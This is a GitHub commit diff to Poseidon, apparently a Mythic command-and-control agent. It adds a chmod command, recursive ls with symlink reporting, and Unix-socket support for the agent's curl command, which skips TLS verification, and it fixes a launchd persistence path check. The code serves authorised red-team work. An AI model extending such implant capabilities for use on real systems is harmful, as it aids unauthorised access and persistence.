Skip to content

Commit f5f4bf5

Browse files
committed
adding chmod, fixing a few errors, adding depth to ls
1 parent 93417a2 commit f5f4bf5

File tree

16 files changed

+546
-165
lines changed

16 files changed

+546
-165
lines changed

Payload_Type/poseidon/go.sum

-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,3 @@
1-
github.com/MythicMeta/MythicContainer v1.4.16/go.mod h1:BnUYftqQ9KsGxBd6RlyRcAHBrqV1CUcrRCjktWwc2Do=
21
github.com/MythicMeta/MythicContainer v1.4.17 h1:t5B2RWUGLxzoJGnI3zy9w7lS7NYfWmGNv2vcF7GWZKY=
32
github.com/MythicMeta/MythicContainer v1.4.17/go.mod h1:BnUYftqQ9KsGxBd6RlyRcAHBrqV1CUcrRCjktWwc2Do=
43
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=

Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD

+12
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,18 @@ All notable changes to this project will be documented in this file.
44
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
55
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
66

7+
## 2.2.2 - 2025-02-24
8+
9+
### Changed
10+
11+
- Updated `upload` to allow specifying existing filename to upload
12+
- Updated `ls` to report back symlink data to browser script outputs
13+
- Added `chmod` command
14+
- Updated `rm` display parameters
15+
- Updated `ls` browser script to support new features
16+
- Updated `ls` to allow a `depth` parameter for recursively doing file listings
17+
- Fixed a bug with `persist_launchd` if no path was specified
18+
719
## 2.2.0 - 2025-02-10
820

921
### Changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
package chmod
2+
3+
import (
4+
// Standard
5+
"encoding/json"
6+
"fmt"
7+
"os"
8+
"path/filepath"
9+
"strconv"
10+
"strings"
11+
12+
// Poseidon
13+
14+
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs"
15+
)
16+
17+
type Arguments struct {
18+
Path string `json:"path"`
19+
Mode string `json:"mode"`
20+
}
21+
22+
// Run - Function that executes the copy command
23+
func Run(task structs.Task) {
24+
msg := task.NewResponse()
25+
args := &Arguments{}
26+
err := json.Unmarshal([]byte(task.Params), args)
27+
if err != nil {
28+
msg.SetError(err.Error())
29+
task.Job.SendResponses <- msg
30+
return
31+
}
32+
fixedFilePath := args.Path
33+
if strings.HasPrefix(fixedFilePath, "~/") {
34+
dirname, _ := os.UserHomeDir()
35+
fixedFilePath = filepath.Join(dirname, fixedFilePath[2:])
36+
}
37+
FullPath, _ := filepath.Abs(fixedFilePath)
38+
octalValue, err := strconv.ParseInt(args.Mode, 8, 64)
39+
if err != nil {
40+
msg.SetError(err.Error())
41+
task.Job.SendResponses <- msg
42+
return
43+
}
44+
err = os.Chmod(FullPath, os.FileMode(octalValue))
45+
if err != nil {
46+
msg.SetError(err.Error())
47+
task.Job.SendResponses <- msg
48+
return
49+
}
50+
msg.Completed = true
51+
msg.UserOutput = fmt.Sprintf("Set %s to %s", FullPath, args.Mode)
52+
task.Job.SendResponses <- msg
53+
return
54+
}

Payload_Type/poseidon/poseidon/agent_code/curl/curl.go

+23-6
Original file line numberDiff line numberDiff line change
@@ -3,11 +3,13 @@ package curl
33
import (
44
// Standard
55
"bytes"
6+
"context"
67
"crypto/tls"
78
"encoding/base64"
89
"encoding/json"
910
"fmt"
1011
"io"
12+
"net"
1113
"net/http"
1214
"strings"
1315
"sync"
@@ -27,14 +29,12 @@ type Arguments struct {
2729
ClearEnv []string `json:"clearEnv"`
2830
ClearAllEnv bool `json:"clearAllEnv"`
2931
GetEnv bool `json:"getEnv"`
32+
SocketPath string `json:"socketPath"`
3033
}
3134

3235
// env are substitution environment variables to apply in the Arguments.Url and Arguments.Headers fields
3336
var env = make(map[string]string, 0)
3437
var envMtx = sync.RWMutex{}
35-
var tr = &http.Transport{
36-
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
37-
}
3838

3939
// Run - Function that executes a curl command with Golang APIs
4040
func Run(task structs.Task) {
@@ -103,7 +103,20 @@ func Run(task structs.Task) {
103103
return
104104
}
105105
}
106-
106+
tr := &http.Transport{
107+
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
108+
}
109+
if args.SocketPath != "" {
110+
dialer := &net.Dialer{
111+
Timeout: 5 * time.Second,
112+
}
113+
tr = &http.Transport{
114+
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
115+
DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
116+
return dialer.DialContext(ctx, "unix", args.SocketPath)
117+
},
118+
}
119+
}
107120
client := &http.Client{
108121
Timeout: 30 * time.Second,
109122
Transport: tr,
@@ -134,6 +147,9 @@ func Run(task structs.Task) {
134147
finalHeaders := ""
135148
for _, h := range args.Headers {
136149
headerPieces := strings.SplitN(h, ":", 2)
150+
if len(headerPieces) != 2 {
151+
continue
152+
}
137153
envMtx.Lock()
138154
for key, val := range env {
139155
headerPieces[1] = strings.ReplaceAll(headerPieces[1], fmt.Sprintf("$%s", key), val)
@@ -155,7 +171,7 @@ func Run(task structs.Task) {
155171
defer resp.Body.Close()
156172
initialHeaders := strings.Join(args.Headers, "\n")
157173
output := fmt.Sprintf("Initial URL: %s\nInitial Headers:\n%s\n", args.Url, initialHeaders)
158-
output += fmt.Sprintf("Final URL: %s\nFinal Headers:\n%s\nOutput:\n", url, finalHeaders)
174+
output += fmt.Sprintf("Final URL: %s\nFinal Headers:\n%s\n", url, finalHeaders)
159175
respBody, err = io.ReadAll(resp.Body)
160176
if err != nil {
161177
msg.UserOutput = output
@@ -164,7 +180,8 @@ func Run(task structs.Task) {
164180
return
165181
}
166182
msg.Completed = true
167-
msg.UserOutput = output + string(respBody)
183+
msg.UserOutput = string(respBody)
184+
msg.Stdout = &output
168185
task.Job.SendResponses <- msg
169186
return
170187
}

Payload_Type/poseidon/poseidon/agent_code/ls/ls.go

+65-23
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package ls
33
import (
44
// Standard
55
"encoding/json"
6+
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/functions"
67
"os"
78
"os/user"
89
"path/filepath"
@@ -57,32 +58,28 @@ func GetPermission(finfo os.FileInfo) structs.FilePermission {
5758
return perms
5859
}
5960

60-
func Run(task structs.Task) {
61-
msg := task.NewResponse()
62-
args := structs.FileBrowserArguments{}
63-
err := json.Unmarshal([]byte(task.Params), &args)
64-
if err != nil {
65-
msg.SetError(err.Error())
66-
task.Job.SendResponses <- msg
67-
return
68-
}
61+
func ProcessPath(path string) (*structs.FileBrowser, error) {
6962
var e structs.FileBrowser
7063
e.SetAsUserOutput = true
71-
fixedPath := args.Path
64+
e.Files = make([]structs.FileData, 0)
65+
fixedPath := path
7266
if strings.HasPrefix(fixedPath, "~/") {
7367
dirname, _ := os.UserHomeDir()
7468
fixedPath = filepath.Join(dirname, fixedPath[2:])
7569
}
7670
abspath, _ := filepath.Abs(fixedPath)
71+
//abspath, _ = filepath.EvalSymlinks(abspath)
7772
dirInfo, err := os.Stat(abspath)
73+
filepath.EvalSymlinks(abspath)
7874
if err != nil {
79-
msg.SetError(err.Error())
80-
task.Job.SendResponses <- msg
81-
return
75+
return &e, err
8276
}
8377
e.IsFile = !dirInfo.IsDir()
84-
8578
e.Permissions = GetPermission(dirInfo)
79+
symlinkPath, _ := filepath.EvalSymlinks(abspath)
80+
if symlinkPath != abspath {
81+
e.Permissions.Symlink = symlinkPath
82+
}
8683
e.Filename = dirInfo.Name()
8784
e.ParentPath = filepath.Dir(abspath)
8885
if strings.Compare(e.ParentPath, e.Filename) == 0 {
@@ -101,13 +98,9 @@ func Run(task structs.Task) {
10198
if dirInfo.IsDir() {
10299
files, err := os.ReadDir(abspath)
103100
if err != nil {
104-
msg.SetError(err.Error())
105101
e.Success = false
106-
msg.FileBrowser = &e
107-
task.Job.SendResponses <- msg
108-
return
102+
return &e, err
109103
}
110-
111104
fileEntries := make([]structs.FileData, len(files))
112105
for i := 0; i < len(files); i++ {
113106
fileEntries[i].IsFile = !files[i].IsDir()
@@ -123,7 +116,11 @@ func Run(task structs.Task) {
123116
}
124117
fileEntries[i].Name = files[i].Name()
125118
fileEntries[i].FullName = filepath.Join(abspath, files[i].Name())
126-
at, err := atime.Stat(abspath)
119+
symlinkPath, _ = filepath.EvalSymlinks(fileEntries[i].FullName)
120+
if symlinkPath != fileEntries[i].FullName {
121+
fileEntries[i].Permissions.Symlink = symlinkPath
122+
}
123+
at, err = atime.Stat(fileEntries[i].FullName)
127124
if err != nil {
128125
fileEntries[i].LastAccess = 0
129126
} else {
@@ -135,10 +132,55 @@ func Run(task structs.Task) {
135132
fileEntries := make([]structs.FileData, 0)
136133
e.Files = fileEntries
137134
}
135+
return &e, nil
136+
}
137+
func Run(task structs.Task) {
138+
args := structs.FileBrowserArguments{}
139+
err := json.Unmarshal([]byte(task.Params), &args)
140+
if err != nil {
141+
msg := task.NewResponse()
142+
msg.SetError(err.Error())
143+
task.Job.SendResponses <- msg
144+
return
145+
}
146+
if args.Depth == 0 {
147+
args.Depth = 1
148+
}
149+
if args.Host != "" {
150+
if strings.ToLower(args.Host) != strings.ToLower(functions.GetHostname()) {
151+
if args.Host != "127.0.0.1" && args.Host != "localhost" {
152+
msg := task.NewResponse()
153+
msg.SetError("can't currently list files on remote hosts")
154+
task.Job.SendResponses <- msg
155+
return
156+
}
157+
}
158+
}
159+
var paths = []string{args.Path}
160+
for args.Depth >= 1 {
161+
nextPaths := []string{}
162+
for _, path := range paths {
163+
msg := task.NewResponse()
164+
fb, err := ProcessPath(path)
165+
if err != nil {
166+
msg.SetError(err.Error())
167+
}
168+
msg.FileBrowser = fb
169+
task.Job.SendResponses <- msg
170+
if fb == nil {
171+
continue
172+
}
173+
for _, child := range fb.Files {
174+
if !child.IsFile {
175+
nextPaths = append(nextPaths, child.FullName)
176+
}
177+
}
178+
}
179+
paths = nextPaths
180+
args.Depth--
181+
}
182+
msg := task.NewResponse()
138183
msg.Completed = true
139-
msg.FileBrowser = &e
140-
//temp, _ := json.Marshal(msg.FileBrowser)
141-
//msg.UserOutput = string(temp)
142184
task.Job.SendResponses <- msg
143185
return
144186
}

Payload_Type/poseidon/poseidon/agent_code/persist_launchd/persist_launchd_darwin.go

+5
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,11 @@ func runCommand(task structs.Task) {
2727
task.Job.SendResponses <- msg
2828
return
2929
}
30+
if len(args.Path) == 0 {
31+
msg.SetError("No path supplied")
32+
task.Job.SendResponses <- msg
33+
return
34+
}
3035
if args.Path[0] == '~' {
3136
if functions.GetUser() == "root" {
3237
msg.SetError("Can't use ~ with root user. Please specify an absolute path.")

Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go

+3
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@ import (
44
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/caffeinate"
55
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/cat"
66
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/cd"
7+
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/chmod"
78
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/clipboard"
89
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/clipboard_monitor"
910
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/config"
@@ -201,6 +202,8 @@ func listenForNewTask() {
201202
go caffeinate.Run(task)
202203
case "lsopen":
203204
go lsopen.Run(task)
205+
case "chmod":
206+
go chmod.Run(task)
204207
default:
205208
// No tasks, do nothing
206209
break

Payload_Type/poseidon/poseidon/agent_code/pkg/utils/structs/definitions.go

+4
Original file line numberDiff line numberDiff line change
@@ -255,6 +255,8 @@ type Response struct {
255255
Artifacts *[]Artifact `json:"artifacts,omitempty"`
256256
Alerts *[]Alert `json:"alerts,omitempty"`
257257
ProcessResponse *string `json:"process_response,omitempty"`
258+
Stdout *string `json:"stdout"`
259+
Stderr *string `json:"stder"`
258260
removeRunningTask chan string
259261
}
260262

@@ -280,6 +282,7 @@ type FilePermission struct {
280282
Sticky bool `json:"sticky"`
281283
User string `json:"user,omitempty"`
282284
Group string `json:"group,omitempty"`
285+
Symlink string `json:"symlink,omitempty"`
283286
}
284287
type FileBrowser struct {
285288
Files []FileData `json:"files"`
@@ -356,6 +359,7 @@ type FileBrowserArguments struct {
356359
Path string `json:"path"`
357360
Host string `json:"host"`
358361
FileBrowser bool `json:"file_browser"`
362+
Depth int `json:"depth"`
359363
}
360364

361365
// SocksMsg struct for dealing with Socks and rpfwd messages

Payload_Type/poseidon/poseidon/agent_code/upload/upload.go

-3
Original file line numberDiff line numberDiff line change
@@ -21,10 +21,7 @@ type uploadArgs struct {
2121
// Run - interface method that retrieves a process list
2222
func Run(task structs.Task) {
2323
msg := task.NewResponse()
24-
25-
// File upload
2624
args := uploadArgs{}
27-
2825
err := json.Unmarshal([]byte(task.Params), &args)
2926
if err != nil {
3027
msg.SetError(fmt.Sprintf("Failed to unmarshal parameters: %s", err.Error()))

Payload_Type/poseidon/poseidon/agentfunctions/builder.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ import (
2020
"time"
2121
)
2222

23-
const version = "2.2.1"
23+
const version = "2.2.2"
2424

2525
type sleepInfoStruct struct {
2626
Interval int `json:"interval"`

0 commit comments

Comments
 (0)